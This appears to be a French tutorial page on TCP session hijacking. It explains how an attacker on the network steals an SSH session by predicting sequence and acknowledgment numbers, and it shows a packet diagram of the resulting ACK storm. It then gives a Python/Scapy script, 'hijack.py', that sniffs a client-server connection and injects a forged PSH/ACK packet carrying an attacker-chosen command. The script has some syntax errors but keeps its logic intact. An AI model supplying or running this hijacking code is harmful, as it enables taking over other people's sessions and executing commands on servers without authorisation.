TCP Session Hijacking



TCP Session Hijacking

Le TCP Session Hijacking lui, a pour but de "voler" la connexion!
Je m'explique, imaginez qu'un administrateur réseau se connecte sur son serveur SSH.
Il créer une connexion d'un client A à un Serveur B qui dialogue entre eux en utilisant un numéro de séquence est un acknoledge que seul A et B connaisse.
Nous, en récupérant les valeurs, nous pouvons répondre avant A, ce qui aura pour effet de nous donner la connexion et de désynchroniser A de B.

NB: Désynchroniser A provoquera ce que l'on appelle un ACK storm, une tempête d'ACK entre A et B.

Exemple: P pour pirate.


  1. A -------- Flag PSH/ACK, seq=1000, ack=1200, DATA=Hey
  2. --------> B
  3. A <------- Flag ACK, seq=1200, ack=1004 --------- B
  4. P ------ Flag PSH/ACK, seq=1004, ack=1200, DATA=Mouhaha
  5. ------> B
  6. P <------- Flag ACK, seq=1200, ack=1012 --------- B
  7. --------------------------- ACK Storm -----------------------------
  8. A ---------------------- ACK -----------------------> B
  9. A <--------------------- ACK ------------------------ B
  10. A ---------------------- ACK -----------------------> B
  11. A <--------------------- ACK ------------------------ B


Reprenons le précédent script en modifiant quelques lignes:


  1. #TCP Session Hijacking Script
  2. #Usage: hijack.py serveur_ip serveur_port client_ip
  3. #!usr/bin/env/python
  4. from scapy.all import *
  5. import sys
  6. """Filtre a appliqué au Sniffer"""
  7. filtre = "host " + sys.argv[1] + " and port " + sys.argv[2]
  8. print "Waiting For Hosts " + sys.argv[1] + " > " + sys.argv[3] + " And Port " + sys.argv[2]
  9. print " "
  10. def hijack(p):
  11. cmd=sys.argv[4] """On Stock la commande a executer"""
  12. if p[IP].src==sys.argv[1] and p[IP].dst==sys.argv[3]:
  13. print "[+] Found!"
  14. print "Seq: " + str(p[TCP].seq) + " | Ack: " + str(p[TCP].ack)
  15. """Seq = Seq_du_paquet_precedent + Len_des_Datas"""
  16. print "Hijack Seq: " + str(p[TCP].ack) + " | Hijack Ack: " + str(p[TCP].seq)
  17. print " "
  18. print "[+] Hijack Session!"
  19. """Ethernet"""
  20. ether = Ether(dst=p[Ether].src, src=p[Ether].dst)
  21. """IP"""
  22. ip = IP(src=p[IP].dst, dst=p[IP].src, ihl=p[IP].ihl, flags=p[IP].flags, frag=p[IP].frag, ttl=p[IP].ttl,
  23. proto=p[IP].proto, id=29321)
  24. """TCP, flag: PUSH/ACK"""
  25. tcp = TCP(sport=p[TCP].dport, dport=p[TCP].sport, seq=p[TCP].ack, ack=p[TCP].seq, dataofs=p[TCP].dataofs,
  26. reserved=p[TCP].reserved, flags="PA", window=p[TCP].window, options=p[TCP].options)
  27. """On ajoute la commande au paquet"""
  28. hijack = ether/ip/tcp/(cmd+"
  29. ")
  30. sendp(hijack)
  31. """On sors du script, sinon il repondrat dans l'ACK Storm"""
  32. sys.exit()
  33. """Sniffer qui applique à chaque paquet reçu la fonction hijack, paquet trié selon le filtre"""
  34. sniff(count=0,prn = lambda p : hijack(p),filter=filtre,lfilter=lambda(f): f.haslayer(IP) and f.haslayer(TCP))